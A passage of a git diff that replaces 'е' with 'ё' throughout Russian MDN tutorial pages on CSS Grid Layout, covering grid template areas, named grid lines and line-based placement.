грид-области несколько раз. Вы можете добавить дополнительные пробелы, чтобы аккуратно выравнять значения в <code>grid-template-areas</code>. В нашем примере мы пробелами подравняли <code>hd</code> и <code>ft</code> , чтобы они коррелировали с <code>main</code>.</p> +<p>В нашем примере каждая из областей охватывает несколько грид-ячеек, и получаем мы подобный эффект за счёт того, что через пробел повторяем имя этой грид-области несколько раз. Вы можете добавить дополнительные пробелы, чтобы аккуратно выравнять значения в <code>grid-template-areas</code>. В нашем примере мы пробелами подравняли <code>hd</code> и <code>ft</code> , чтобы они коррелировали с <code>main</code>.</p> -<p>Область, которую мы создаем подобными цепочками имен, должна быть прямоугольной. На данном этапе нельзя создать L-образную область. В спецификации говорится, что, возможно, в будущем подобная функциональность добавится. А сейчас мы можем охватывать строки так же легко, как и колонки. Например, давайте сделаем так, чтобы наш сайдбар простирался до конца футера. Для этого поменяем <code>.</code> на <code>sd</code>.</p> +<p>Область, которую мы создаём подобными цепочками имён, должна быть прямоугольной. На данном этапе нельзя создать L-образную область. В спецификации говорится, что, возможно, в будущем подобная функциональность добавится. А сейчас мы можем охватывать строки так же легко, как и колонки. Например, давайте сделаем так, чтобы наш сайдбар простирался до конца футера. Для этого поменяем <code>.</code> на <code>sd</code>.</p> <pre class="brush: css">.header { grid-area: hd; @@ -275,7 +275,7 @@ original_slug: Web/CSS/CSS_Grid_Layout/Грид-области } </pre> -<p>Внутри медиавыражений мы переопределяем этот макет на двухколонный, а при увеличении свободного пространства — на трехколонный. Обратите внимание, что для широкого макета я оставляю свою девятиколонную трековую сетку, а с помощью <code>grid-template-areas</code> я указываю куда стоит разместить грид-области. </p> +<p>Внутри медиавыражений мы переопределяем этот макет на двухколонный, а при увеличении свободного пространства — на трёхколонный. Обратите внимание, что для широкого макета я оставляю свою девятиколонную трековую сетку, а с помощью <code>grid-template-areas</code> я указываю куда стоит разместить грид-области. </p> <pre class="brush: css">@media (min-width: 500px) { .wrapper { @@ -308,13 +308,13 @@ original_slug: Web/CSS/CSS_Grid_Layout/Грид-области <h2 id="Использование_grid-template-areas_для_элементов_UI">Использование <code>grid-template-areas</code> для элементов UI</h2> -<p>Многие из примеров grid, которые вы найдете в Интернете, предполагают, что вы будете использовать grid для макета главной страницы, однако grid может быть столь же полезна для небольших элементов. Использование {{cssxref ("grid-template-areas")}} может быть особенно приятным, так как в коде легко видеть, как выглядит ваш элемент.</p> +<p>Многие из примеров grid, которые вы найдёте в Интернете, предполагают, что вы будете использовать grid для макета главной страницы, однако grid может быть столь же полезна для небольших элементов. Использование {{cssxref ("grid-template-areas")}} может быть особенно приятным, так как в коде легко видеть, как выглядит ваш элемент.</p> <p>В качестве очень простого примера мы можем создать «медиа-объект». Это компонент с пространством для изображения или другого носителя с одной стороны, а контент - с другой. Изображение может отображаться справа или слева от окна.</p> <p><img alt="Images showing an example media object design" src="https://mdn.mozillademos.org/files/14671/4_Media_objects.png" style="height: 432px; width: 800px;"></p> -<p>Наша сетка представляет собой двухколоночную трековую сетку, со столбцом для изображения размером <code>1fr</code> и текстом <code>3fr</code>. Если вы хотите область с фиксированной шириной изображения, тогда вы можете установить столбец изображения как ширину пикселя и назначить текстовую область <code>1fr</code>. Одна колонка трека <code>1fr</code> затем займет оставшуюся часть пространства.</p> +<p>Наша сетка представляет собой двухколоночную трековую сетку, со столбцом для изображения размером <code>1fr</code> и текстом <code>3fr</code>. Если вы хотите область с фиксированной шириной изображения, тогда вы можете установить столбец изображения как ширину пикселя и назначить текстовую область <code>1fr</code>. Одна колонка трека <code>1fr</code> затем займёт оставшуюся часть пространства.</p> <p>Мы предоставляем области изображения имя области сетки <code>img</code> и содержимое текстовой области, затем мы можем выложить их, используя свойство <code>grid-template-areas</code>.</p> @@ -407,7 +407,7 @@ original_slug: Web/CSS/CSS_Grid_Layout/Грид-области <p>Рассмотрев различные способы размещения элементов на наших сетках и многие свойства, используемые для определения сетки, самое время взглянуть на пару сокращений, доступных для определения сетки и многое из всего этого в одной строке CSS.</p> -<p>Они могут быстро стать трудными для чтения для других разработчиков или даже для вашего будущего. Однако они являются частью спецификации и, вероятно, вы столкнетесь с ними в примерах или в использовании другими разработчиками, даже если вы решите не использовать их.</p> +<p>Они могут быстро стать трудными для чтения для других разработчиков или даже для вашего будущего. Однако они являются частью спецификации и, вероятно, вы столкнётесь с ними в примерах или в использовании другими разработчиками, даже если вы решите не использовать их.</p> <p>Прежде чем использовать какие-либо сокращения (shorthand), стоит помнить, что shorthand не только позволяют устанавливать множество свойств за один раз, но также действуют, чтобы <strong>сбросить объекты</strong> до их начальных значений, которых вы не используете, или не можете установить в сокращении. Поэтому, если вы используете сокращения, помните, что оно может сбросить все, что вы применили в другом месте.</p> @@ -415,7 +415,7 @@ original_slug: Web/CSS/CSS_Grid_Layout/Грид-области <h3 id="grid-template"><code>grid-template</code></h3> -<p>Свойство {{cssxref ("grid-template")}} задает следующие свойства:</p> +<p>Свойство {{cssxref ("grid-template")}} задаёт следующие свойства:</p> <ul> <li>{{cssxref("grid-template-rows")}}</li> @@ -425,7 +425,7 @@ original_slug: Web/CSS/CSS_Grid_Layout/Грид-области <p>Свойство называется явным сокращением сетки, потому что оно устанавливает те вещи, которые вы контролируете, когда вы определяете явную сетку, а не те, которые влияют на любые неявные строки или столбцы, которые могут быть созданы.</p> -<p>Следующий код создает макет, используя {{cssxref ("grid-template")}}, который совпадает с макетом, созданным ранее в этом руководстве.</p> +<p>Следующий код создаёт макет, используя {{cssxref ("grid-template")}}, который совпадает с макетом, созданным ранее в этом руководстве.</p> <pre class="brush: css">.wrapper { display: grid; @@ -443,7 +443,7 @@ original_slug: Web/CSS/CSS_Grid_Layout/Грид-области <h3 id="grid"><code>grid</code></h3> -<p>Сокращение {{cssxref ("grid")}} идет еще дальше, а также задает свойства, используемые неявной сеткой. Таким образом, вы будете устанавливать:</p> +<p>Сокращение {{cssxref ("grid")}} идёт ещё дальше, а также задаёт свойства, используемые неявной сеткой. Таким образом, вы будете устанавливать:</p> <ul> <li>{{cssxref("grid-template-rows")}}</li> @@ -469,7 +469,7 @@ original_slug: Web/CSS/CSS_Grid_Layout/Грид-области <p>Мы снова рассмотрим другие функции, предлагаемые этом сокращением позже в этих руководствах, когда мы рассмотрим автоматическое размещение и свойство <code>grid-auto-flow</code>.</p> -<p>Если вы проработали эти начальные руководства, теперь вы должны иметь возможность создавать сетки с использованием линейного размещения или названных областей. Потратьте некоторое время на создание некоторых общих шаблонов макетов с использованием сетки, в то время как есть много новых терминов для изучения, синтаксис относительно прост. По мере того, как вы разрабатываете примеры, вы, вероятно, придумаете некоторые вопросы и воспользуетесь случаями, которые мы еще не рассмотрели. В остальных этих руководствах мы рассмотрим некоторые детали, включенные в спецификацию, - чтобы вы могли начать создавать с ним расширенные макеты.</p> +<p>Если вы проработали эти начальные руководства, теперь вы должны иметь возможность создавать сетки с использованием линейного размещения или названных областей. Потратьте некоторое время на создание некоторых общих шаблонов макетов с использованием сетки, в то время как есть много новых терминов для изучения, синтаксис относительно прост. По мере того, как вы разрабатываете примеры, вы, вероятно, придумаете некоторые вопросы и воспользуетесь случаями, которые мы ещё не рассмотрели. В остальных этих руководствах мы рассмотрим некоторые детали, включённые в спецификацию, - чтобы вы могли начать создавать с ним расширенные макеты.</p> <section class="Quick_links" id="Quick_Links"> <ol> diff --git a/files/ru/web/css/css_grid_layout/index.html b/files/ru/web/css/css_grid_layout/index.html index d02227c33f..3f345b98b8 100644 --- a/files/ru/web/css/css_grid_layout/index.html +++ b/files/ru/web/css/css_grid_layout/index.html @@ -9,7 +9,7 @@ translation_of: Web/CSS/CSS_Grid_Layout <h2 id="Basic_Example" name="Basic_Example">Базовый пример</h2> -<p>В приведенном ниже примере показана сетка состоящая из трех колонок, в которой минимальная ширина элементов строки установлена в "100px", а максимальная в "auto". Grid-элементы располагаются в сетке линейно.</p> +<p>В приведённом ниже примере показана сетка состоящая из трёх колонок, в которой минимальная ширина элементов строки установлена в "100px", а максимальная в "auto". Grid-элементы располагаются в сетке линейно.</p> <div id="example"> <div class="hidden"> diff --git a/files/ru/web/css/css_grid_layout/layout_using_named_grid_lines/index.html b/files/ru/web/css/css_grid_layout/layout_using_named_grid_lines/index.html index 08e932f0b0..66e8c5ac2d 100644 --- a/files/ru/web/css/css_grid_layout/layout_using_named_grid_lines/index.html +++ b/files/ru/web/css/css_grid_layout/layout_using_named_grid_lines/index.html @@ -3,7 +3,7 @@ title: Layout using named grid lines slug: Web/CSS/CSS_Grid_Layout/Layout_using_Named_Grid_Lines translation_of: Web/CSS/CSS_Grid_Layout/Layout_using_Named_Grid_Lines --- -<p>В предыдущих руководствах мы рассматривали размещение элементов по линиям, созданным путем определения треков сетки, а также способы размещения элементов с помощью именованных областей шаблона. В этом руководстве мы рассмотрим, как эти две вещи работают вместе, когда мы используем именование линий. Именование линий очень полезно, но при комбинировании именований и размеров сетки иногда получаются очень запутанный синтаксис. Представленные примеры помогут внести ясность и упростить понимание синтаксиса.</p> +<p>В предыдущих руководствах мы рассматривали размещение элементов по линиям, созданным путём определения треков сетки, а также способы размещения элементов с помощью именованных областей шаблона. В этом руководстве мы рассмотрим, как эти две вещи работают вместе, когда мы используем именование линий. Именование линий очень полезно, но при комбинировании именований и размеров сетки иногда получаются очень запутанный синтаксис. Представленные примеры помогут внести ясность и упростить понимание синтаксиса.</p> <h2 id="Именование_линий_при_определении_сетки">Именование линий при определении сетки</h2> @@ -29,7 +29,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Layout_using_Named_Grid_Lines </pre> </div> -<p>При определении сетки я задаю линиям имена, помещая их внутри квадратных скобок. Можете использовать любые имена, какие вам нравятся. Я задал имена <code>main-start</code> для начала и <code>main-end</code> для конца контейнера, причем как для строк, так и для столбцов. Затем определил центральный блок сетки как <code>content-start</code> и <code>content-end</code>, опять же как для столбцов, так и для строк. Но вам необязательно именовать все линии в вашей сетке, можете именовать только опорные линии вашего макета.</p> +<p>При определении сетки я задаю линиям имена, помещая их внутри квадратных скобок. Можете использовать любые имена, какие вам нравятся. Я задал имена <code>main-start</code> для начала и <code>main-end</code> для конца контейнера, причём как для строк, так и для столбцов. Затем определил центральный блок сетки как <code>content-start</code> и <code>content-end</code>, опять же как для столбцов, так и для строк. Но вам необязательно именовать все линии в вашей сетке, можете именовать только опорные линии вашего макета.</p> <pre class="brush: css">.wrapper { display: grid; @@ -77,15 +77,15 @@ translation_of: Web/CSS/CSS_Grid_Layout/Layout_using_Named_Grid_Lines <p>Теперь при линейном размещении вы можете смешивать номера строк или их имена. Именование строк полезно при создании адаптивного дизайна, в котором вы переопределяете саму сетку, а не положение содержимого внутри сетки.</p> -<h3 id="Присвоение_линиям_нескольких_имен">Присвоение линиям нескольких имен</h3> +<h3 id="Присвоение_линиям_нескольких_имён">Присвоение линиям нескольких имён</h3> <p>При необходимости можно присвоить строке более одного имени. Например, <code>sidebar-end</code> для обозначении конца области <code>sidebar</code>, и <code>main-start</code> для начала области <code>main</code>. Укажите имена внутри квадратных скобок через пробел <code>[sidebar-end main-start]</code>. В дальнейшем вы можете обращаться к этой строке по любому из этих имен.</p> <h2 id="Неявные_области_сетки_из_именованных_линий">Неявные области сетки из именованных линий</h2> -<p>Ранее уже упоминалось, что вы можете выбирать для линий любые имена. Такое имя является <a href="https://drafts.csswg.org/css-values-4/#custom-idents">custom ident</a> - именем, определяемым автором. При выборе имени вам нужно избегать слов, которые могут использоваться в спецификации, что приведет к путанице - например, <code>span</code>. Идентификаторы не заключаются в кавычки.</p> +<p>Ранее уже упоминалось, что вы можете выбирать для линий любые имена. Такое имя является <a href="https://drafts.csswg.org/css-values-4/#custom-idents">custom ident</a> - именем, определяемым автором. При выборе имени вам нужно избегать слов, которые могут использоваться в спецификации, что приведёт к путанице - например, <code>span</code>. Идентификаторы не заключаются в кавычки.</p> -<p>Хотя вы можете выбрать любые имена, но если вы добавляете <code>-start</code> и <code>-end</code> к линиям вокруг области, как в приведенном выше примере, то сетка создаст вам именованную область основного используемого имени. Возьмем приведенный выше пример, у меня есть <code>content-start</code> и <code>content-end</code> как для строк, так и для столбцов. Это означает, что будет создана также область сетки с именем <code>content</code>, которую можно по своему усмотрению.</p> +<p>Хотя вы можете выбрать любые имена, но если вы добавляете <code>-start</code> и <code>-end</code> к линиям вокруг области, как в приведённом выше примере, то сетка создаст вам именованную область основного используемого имени. Возьмём приведённый выше пример, у меня есть <code>content-start</code> и <code>content-end</code> как для строк, так и для столбцов. Это означает, что будет создана также область сетки с именем <code>content</code>, которую можно по своему усмотрению.</p> <div id="implicit_areas_from_lines"> <div class="hidden"> @@ -131,7 +131,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Layout_using_Named_Grid_Lines <h2 id="Неявные_линии_сетки_из_именованных_областей">Неявные линии сетки из именованных областей</h2> -<p>Мы видели, как с помощью именованных линий можно создать именованную область. Это работает и наоборот. Именованные области создают именованные строки, которые можно использовать для размещения элементов. Если мы возьмем макет, созданный в руководстве по областям шаблона сетки, мы можем использовать линии, созданные нашими областями, чтобы увидеть, как это работает.</p> +<p>Мы видели, как с помощью именованных линий можно создать именованную область. Это работает и наоборот. Именованные области создают именованные строки, которые можно использовать для размещения элементов. Если мы возьмём макет, созданный в руководстве по областям шаблона сетки, мы можем использовать линии, созданные нашими областями, чтобы увидеть, как это работает.</p> <p>В этом примере я добавил дополнительный div с классом <code>overlay</code>. Мы назвали области, созданные с помощью свойства grid-area, а затем макет, созданный в grid-template-areas. Именованные области:</p> @@ -232,7 +232,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Layout_using_Named_Grid_Lines <p>Учитывая, что у нас есть возможность позиционировать создание линий из именованных областей и областей из именованных линий, стоит потратить время на планирование стратегии именования, когда вы начинаете создавать свой макет. Выбирайте имена, которые будут иметь смысл для вас и вашей команды, это облегчит использование созданных вами макетов.</p> -<h2 id="Определение_одноименных_линий_при_помощи_функции_repeat">Определение одноименных линий при помощи функции repeat()</h2> +<h2 id="Определение_одноимённых_линий_при_помощи_функции_repeat">Определение одноимённых линий при помощи функции repeat()</h2> <p>Если вы хотите дать всем линиям в вашей сетке уникальное имя, то вам нужно будет написать длинное определение трека, а не использовать синтаксис повтора, так как вам нужно добавить имя в квадратных скобках при определении треков. Если вы используете синтаксис повтора, то в конечном итоге получите несколько строк с одинаковым именем, однако это тоже может быть очень полезно.</p> @@ -272,7 +272,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Layout_using_Named_Grid_Lines } </pre> -<p>Вы можете использовать ключевое слово <code>span</code>. Следующий элемент будет расположен начиная с седьмой линии и займет три линии.</p> +<p>Вы можете использовать ключевое слово <code>span</code>. Следующий элемент будет расположен начиная с седьмой линии и займёт три линии.</p> <pre class="brush: css">.item2 { grid-column: col-start 7 / span 3; @@ -293,14 +293,14 @@ translation_of: Web/CSS/CSS_Grid_Layout/Layout_using_Named_Grid_Lines <p><img alt="The 12 column grid with items placed. The Grid Highlighter shows the position of the lines." src="https://mdn.mozillademos.org/files/14695/5_named_lines1.png" style="height: 156px; width: 1958px;"></p> -<p>Синтаксис повтора также может принимать трек-лист , это не просто должен быть один размер трека, который повторяется. Приведенный ниже код создаст сетку из восьми дорожек с более узким столбцом ширины 1fr с именем col1-start и более широким столбцом 3fr с именем col2-start.</p> +<p>Синтаксис повтора также может принимать трек-лист , это не просто должен быть один размер трека, который повторяется. Приведённый ниже код создаст сетку из восьми дорожек с более узким столбцом ширины 1fr с именем col1-start и более широким столбцом 3fr с именем col2-start.</p> <pre class="brush: css">.wrapper { grid-template-columns: repeat(4, [col1-start] 1fr [col2-start] 3fr); } </pre> -<p>Если Ваш повторяющийся синтаксис помещает две строки рядом друг с другом, то они будут объединены и создадут тот же результат, что и присвоение строке нескольких имен в неповторяющемся определении трека. Следующее определение создает четыре трека 1fr, каждый из которых имеет начальную и конечную линии.</p> +<p>Если Ваш повторяющийся синтаксис помещает две строки рядом друг с другом, то они будут объединены и создадут тот же результат, что и присвоение строке нескольких имён в неповторяющемся определении трека. Следующее определение создаёт четыре трека 1fr, каждый из которых имеет начальную и конечную линии.</p> <pre class="brush: css">.wrapper { grid-template-columns: repeat(4, [col-start] 1fr [col-end] ); @@ -314,7 +314,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Layout_using_Named_Grid_Lines } </pre> -<p>Если вы использовали список треков, то вы можете использовать ключевое слово <code>span</code> не только для охвата ряда строк, но и для охвата ряда строк с определенным именем..</p> +<p>Если вы использовали список треков, то вы можете использовать ключевое слово <code>span</code> не только для охвата ряда строк, но и для охвата ряда строк с определённым именем..</p> <div id="span_line_number"> <div class="hidden"> @@ -360,7 +360,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Layout_using_Named_Grid_Lines <p>{{ EmbedLiveSample('span_line_number', '500', '330') }}</p> </div> -<p>За последние три руководства вы обнаружили, что существует множество различных способов размещения элементов с помощью сетки. На первый взгляд это может показаться чрезмерно сложным, но помните, что вам не нужно использовать их все. На практике я нахожу, что для простых макетов хорошо работает использование именованных областей шаблонов, это дает хорошее визуальное представление о том, как выглядит ваш макет, и возможность легко перемещать элементы по сетке.</p> +<p>За последние три руководства вы обнаружили, что существует множество различных способов размещения элементов с помощью сетки. На первый взгляд это может показаться чрезмерно сложным, но помните, что вам не нужно использовать их все. На практике я нахожу, что для простых макетов хорошо работает использование именованных областей шаблонов, это даёт хорошее визуальное представление о том, как выглядит ваш макет, и возможность легко перемещать элементы по сетке.</p> <p>Если вы работаете со строгим макетом из нескольких столбцов, например, демонстрация именованных строк в последней части этого руководства работает очень хорошо. Если вы рассматриваете сеточные системы, в таких фреймворках, как Foundation или Bootstrap, которые основаны на сетке из 12 столбцов. Затем фреймворк импортирует код для выполнения всех вычислений, чтобы убедиться, что столбцы складываются до 100%. С помощью Grid layout единственный код, который нам нужен для нашего грид-фреймворка, - это:</p> @@ -372,7 +372,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Layout_using_Named_Grid_Lines } </pre> -<p>Затем мы можем использовать этот фреймворк для верстки нашей страницы. Например, чтобы создать макет из трех столбцов с верхним и нижним колонтитулами, у меня может быть следующая разметка.</p> +<p>Затем мы можем использовать этот фреймворк для вёрстки нашей страницы. Например, чтобы создать макет из трёх столбцов с верхним и нижним колонтитулами, у меня может быть следующая разметка.</p> <div class="hidden"> <pre class="brush: css">* {box-sizing: border-box;} @@ -432,7 +432,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Layout_using_Named_Grid_Lines <p><img alt="The layout with the grid highlighted." src="https://mdn.mozillademos.org/files/14697/5_named_lines2.png" style="height: 378px; width: 1958px;"></p> </div> -<p>Это все, что мне нужно. Мне не нужно делать никаких вычислений, сетка автоматически удалила мою 10- пиксельную дорожку желоба, прежде чем назначить пространство для треков столбцов 1fr. Когда вы начнете создавать свои собственные макеты, вы обнаружите, что синтаксис становится более знакомым, и вы выбираете способы, которые лучше всего подходят для вас, а также тип проектов,которые вам нравятся. Попробуйте построить несколько общих шаблонов с помощью этих различных методов, и вскоре вы найдете свой самый продуктивный способ работы. В следующем руководстве мы рассмотрим, как сетка может размещать элементы для нас - без необходимости использовать свойства размещения вообще!</p> +<p>Это все, что мне нужно. Мне не нужно делать никаких вычислений, сетка автоматически удалила мою 10- пиксельную дорожку желоба, прежде чем назначить пространство для треков столбцов 1fr. Когда вы начнёте создавать свои собственные макеты, вы обнаружите, что синтаксис становится более знакомым, и вы выбираете способы, которые лучше всего подходят для вас, а также тип проектов,которые вам нравятся. Попробуйте построить несколько общих шаблонов с помощью этих различных методов, и вскоре вы найдёте свой самый продуктивный способ работы. В следующем руководстве мы рассмотрим, как сетка может размещать элементы для нас - без необходимости использовать свойства размещения вообще!</p> <section class="Quick_links" id="Quick_Links"> <ol> diff --git a/files/ru/web/css/css_grid_layout/line-based_placement_with_css_grid/index.html b/files/ru/web/css/css_grid_layout/line-based_placement_with_css_grid/index.html index e2086dee05..35feac5051 100644 --- a/files/ru/web/css/css_grid_layout/line-based_placement_with_css_grid/index.html +++ b/files/ru/web/css/css_grid_layout/line-based_placement_with_css_grid/index.html @@ -13,13 +13,13 @@ original_slug: >- --- <p>В статье, касавшейся <a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout">основных понятий позиционирования элементов с помощью гридов</a>, мы кратенько рассмотрели, как располагать элементы в гриде, используя номера линий. Теперь давайте детально исследуем то, как работает эта фундаментальная часть спецификации.</p> -<p>Собственно, начать квест по гридам со знакомства с пронумерованными линиями - логично, потому что в ситуации, когда Вы работаете с гридами, пронумерованные линии у Вас есть <strong>всегда</strong>. Линии нумеруются и для колонок, и для строк, отсчет начинается с 1. Нужно заметить, что грид индексируется в соответствии с режимом написания (writing mode) документа. В языках с написанием слева направо, таких как русский, например, линия 1 - самая левая линия грида. Если написание справа налево, то линия 1 будет, соответственно, самой правой линией в гриде. По ходу изучения недр мы детально узнаем, как гриды взаимодействуют с режимами написания, поэтому не исчезайте, впереди много интересного.</p> +<p>Собственно, начать квест по гридам со знакомства с пронумерованными линиями - логично, потому что в ситуации, когда Вы работаете с гридами, пронумерованные линии у Вас есть <strong>всегда</strong>. Линии нумеруются и для колонок, и для строк, отсчёт начинается с 1. Нужно заметить, что грид индексируется в соответствии с режимом написания (writing mode) документа. В языках с написанием слева направо, таких как русский, например, линия 1 - самая левая линия грида. Если написание справа налево, то линия 1 будет, соответственно, самой правой линией в гриде. По ходу изучения недр мы детально узнаем, как гриды взаимодействуют с режимами написания, поэтому не исчезайте, впереди много интересного.</p> <h2 id="Базовый_пример">Базовый пример</h2> -<p>В качестве крайне простого примера давайте возьмем грид с тремя треками-колонками и тремя треками-строками. Такой грид дает нам по 4 линии для каждого направления.</p> +<p>В качестве крайне простого примера давайте возьмём грид с тремя треками-колонками и тремя треками-строками. Такой грид даёт нам по 4 линии для каждого направления.</p> -<p>Внутри нашего грид-контейнера у нас есть четыре дочерних элемента. Если мы не размещаем их явным образом, эти элементы будут расположены в гриде в соответствии с правилами авторазмещения, то есть, по одному элементу - в каждой из четырех первых ячеек. Если Вы воспользуетесь <a href="/en-US/docs/Tools/Page_Inspector/How_to/Examine_grid_layouts">Firefox Grid Highlighter</a> , то увидите, как грид инициирует колонки и строки.</p> +<p>Внутри нашего грид-контейнера у нас есть четыре дочерних элемента. Если мы не размещаем их явным образом, эти элементы будут расположены в гриде в соответствии с правилами авторазмещения, то есть, по одному элементу - в каждой из четырёх первых ячеек. Если Вы воспользуетесь <a href="/en-US/docs/Tools/Page_Inspector/How_to/Examine_grid_layouts">Firefox Grid Highlighter</a> , то увидите, как грид инициирует колонки и строки.</p> <p><img alt="Our Grid highlighted in DevTools" src="https://mdn.mozillademos.org/files/14663/3_hilighted_grid.png" style="height: 296px; width: 900px;"></p> @@ -61,7 +61,7 @@ original_slug: >- <h2 id="Позиционирование_элементов_по_номерам_линий">Позиционирование элементов по номерам линий</h2> -<p>Мы можем воспользоваться размещением по линиям (line-based placement), чтобы расположить элементы на гриде. Например, нам нужно, чтобы первый элемент начинался от левого края и занимал один трек-колонку. Пусть он также начинается с первой строчной линии, то есть, от верхнего края грида, и занимает пространство до четвертой строчной линии.</p> +<p>Мы можем воспользоваться размещением по линиям (line-based placement), чтобы расположить элементы на гриде. Например, нам нужно, чтобы первый элемент начинался от левого края и занимал один трек-колонку. Пусть он также начинается с первой строчной линии, то есть, от верхнего края грида, и занимает пространство до четвёртой строчной линии.</p> <div id="Line_Number"> <pre class="brush: css notranslate">.box1 { @@ -244,7 +244,7 @@ original_slug: >- <p>{{ EmbedLiveSample('End_Lines', '300', '330') }}</p> </div> -<p>Поэтому, если мы хотим, чтобы элементы занимали только один трек, наша сокращенная запись будет выглядеть вот так, без слеша и без второго значения:</p> +<p>Поэтому, если мы хотим, чтобы элементы занимали только один трек, наша сокращённая запись будет выглядеть вот так, без слеша и без второго значения:</p> <div id="New_Shorthand"> <div class="hidden"> @@ -300,7 +300,7 @@ original_slug: >- <h2 id="Свойство_grid-area">Свойство <code>grid-area</code></h2> -<p>Мы можем пойти еще дальше и определить целую область с помощью одного единственного свойства – {{cssxref("grid-area")}}. Порядок свойств для грид-области следующий:</p> +<p>Мы можем пойти ещё дальше и определить целую область с помощью одного единственного свойства – {{cssxref("grid-area")}}. Порядок свойств для грид-области следующий:</p> <ul> <li>grid-row-start</li> @@ -355,7 +355,7 @@ original_slug: >- <p>{{ EmbedLiveSample('The_grid-area_property', '300', '330') }}</p> -<p>Порядок значений для <code>grid-area</code> может показаться немного странным, он противоположен тому порядку, в котором мы, например, записываем значения для сокращенных свойств margin и padding. Но сделано это потому, что грид работает с направлениями относительно потока, определенными в спецификации CSS Writing Modes. В дальнейшем мы рассмотрим, как гриды взаимодействуют с режимами написания (writing modes), но пока давайте примем за данность, что мы имеем дело с концепцией четырех направлений относительно потока:</p> +<p>Порядок значений для <code>grid-area</code> может показаться немного странным, он противоположен тому порядку, в котором мы, например, записываем значения для сокращённых свойств margin и padding. Но сделано это потому, что грид работает с направлениями относительно потока, определёнными в спецификации CSS Writing Modes. В дальнейшем мы рассмотрим, как гриды взаимодействуют с режимами написания (writing modes), но пока давайте примем за данность, что мы имеем дело с концепцией четырёх направлений относительно потока:</p> <ul> <li>block-start (начало блока)</li> @@ -366,11 +366,11 @@ original_slug: >- <p>Мы работаем с русским, языком с написанием слева направо. Начало нашего блока (block-start) - верхняя строчная линия грид-контейнера, конец блока (block-end) - последняя строчная линия контейнера. Начало строки (inline-start) - самая левая колоночная линия, поскольку начало строки - это всегда точка, с которой начинается написание текста в заданном режиме написания. Конец строки (inline-end) - последняя колоночная линия грида.</p> -<p>Когда мы задаем нашу грид-область с помощью свойства <code>grid-area</code> , мы сначала определяем обе начальные линии <code>block-start</code> и <code>inline-start</code>, а затем обе конечные линии <code>block-end</code> и <code>inline-end</code>. Поскольку мы давно работаем с физическими свойствами top, right, bottom и left, поначалу это кажется непривычным, но вполне осмысленно, если осознать, что относительно режима написания веб-сайты - многонаправленные структуры.</p> +<p>Когда мы задаём нашу грид-область с помощью свойства <code>grid-area</code> , мы сначала определяем обе начальные линии <code>block-start</code> и <code>inline-start</code>, а затем обе конечные линии <code>block-end</code> и <code>inline-end</code>. Поскольку мы давно работаем с физическими свойствами top, right, bottom и left, поначалу это кажется непривычным, но вполне осмысленно, если осознать, что относительно режима написания веб-сайты - многонаправленные структуры.</p> <h2 id="Считая_с_конца">Считая с конца</h2> -<p>Мы также можем отсчитывать грид-линии с конца, то есть с последней (для русского языка - самой правой) колоночной и последней (самой нижней) строчной линий. Индекс этих линий будет <code>-1</code>, а линий непосредственно перед ними <code>-2,</code> и так далее. Нужно помнить, что под последней линией понимается последняя линия явного грида (<em>explicit grid)</em>, то есть грида, определенного с помощью <code>grid-template-columns</code> и<code>grid-template-rows.</code> Любые линии строк и колонок, добавленные неявным гридом (<em>implicit grid)</em> не считаются.</p> +<p>Мы также можем отсчитывать грид-линии с конца, то есть с последней (для русского языка - самой правой) колоночной и последней (самой нижней) строчной линий. Индекс этих линий будет <code>-1</code>, а линий непосредственно перед ними <code>-2,</code> и так далее. Нужно помнить, что под последней линией понимается последняя линия явного грида (<em>explicit grid)</em>, то есть грида, определённого с помощью <code>grid-template-columns</code> и<code>grid-template-rows.</code> Любые линии строк и колонок, добавленные неявным гридом (<em>implicit grid)</em> не считаются.</p> <p>В примере ниже мы "перевернули" определение нашего грида, при размещении элементов задавая линии с конца, то есть, от правого и нижнего краев.</p> @@ -504,9 +504,9 @@ original_slug: >- <p>{{ EmbedLiveSample('Gutters_or_Alleys', '300', '350') }}</p> -<h3 id="Сокращенная_запись_для_грид-зазоров">Сокращенная запись для грид-зазоров</h3> +<h3 id="Сокращённая_запись_для_грид-зазоров">Сокращённая запись для грид-зазоров</h3> -<p>Оба свойства также можно записать с помощью свойства-сокращения {{cssxref("grid-gap")}}. Если задать только одно значение, то оно определит размер зазоров и между колонками, и между строками. Если мы задаем два значения, то первое используется для <code>grid-row-gap</code> , а второе - для <code>grid-column-gap</code>.</p> +<p>Оба свойства также можно записать с помощью свойства-сокращения {{cssxref("grid-gap")}}. Если задать только одно значение, то оно определит размер зазоров и между колонками, и между строками. Если мы задаём два значения, то первое используется для <code>grid-row-gap</code> , а второе - для <code>grid-column-gap</code>.</p> <pre class="brush: css notranslate">.wrapper { display: grid; @@ -516,7 +516,7 @@ original_slug: >- } </pre> -<p>В терминах расположения элементов по грид-линиям (line-based positioning) зазоры ведут себя так, как если бы самой линии была добавлена толщина. Все, что должно было начинаться от линии, начинается от нее на расстоянии зазора, и Вы не можете адресовать зазор напрямую или поместить в него что-нибудь. Если Вам нужны зазоры, которые ведут себя, как обыкновенные треки, что же - определите трек, а не зазор.</p> +<p>В терминах расположения элементов по грид-линиям (line-based positioning) зазоры ведут себя так, как если бы самой линии была добавлена толщина. Все, что должно было начинаться от линии, начинается от неё на расстоянии зазора, и Вы не можете адресовать зазор напрямую или поместить в него что-нибудь. Если Вам нужны зазоры, которые ведут себя, как обыкновенные треки, что же - определите трек, а не зазор.</p> <h2 id="Использование_ключевого_слова_span">Использование ключевого слова <code>span</code> </h2> @@ -572,7 +572,7 @@ original_slug: >- <p>{{ EmbedLiveSample('Using_the_span_keyword', '300', '330') }}</p> -<p>Ключевое слово <code>span</code> также можно использовать в качестве значения <code>grid-row-start</code>/<code>grid-row-end</code> и<code>grid-column-start/grid-column-end</code>. Два примера ниже создают одну и ту же грид-область. В первом примере мы задаем начальную строчную линию, а после говорим свойству, отвечающему за конечную линию: эй, мы хотим занять под этот элемент три линии. В итоге, грид-область начинается с первой линии и занимает пространство до 4-ой.</p> +<p>Ключевое слово <code>span</code> также можно использовать в качестве значения <code>grid-row-start</code>/<code>grid-row-end</code> 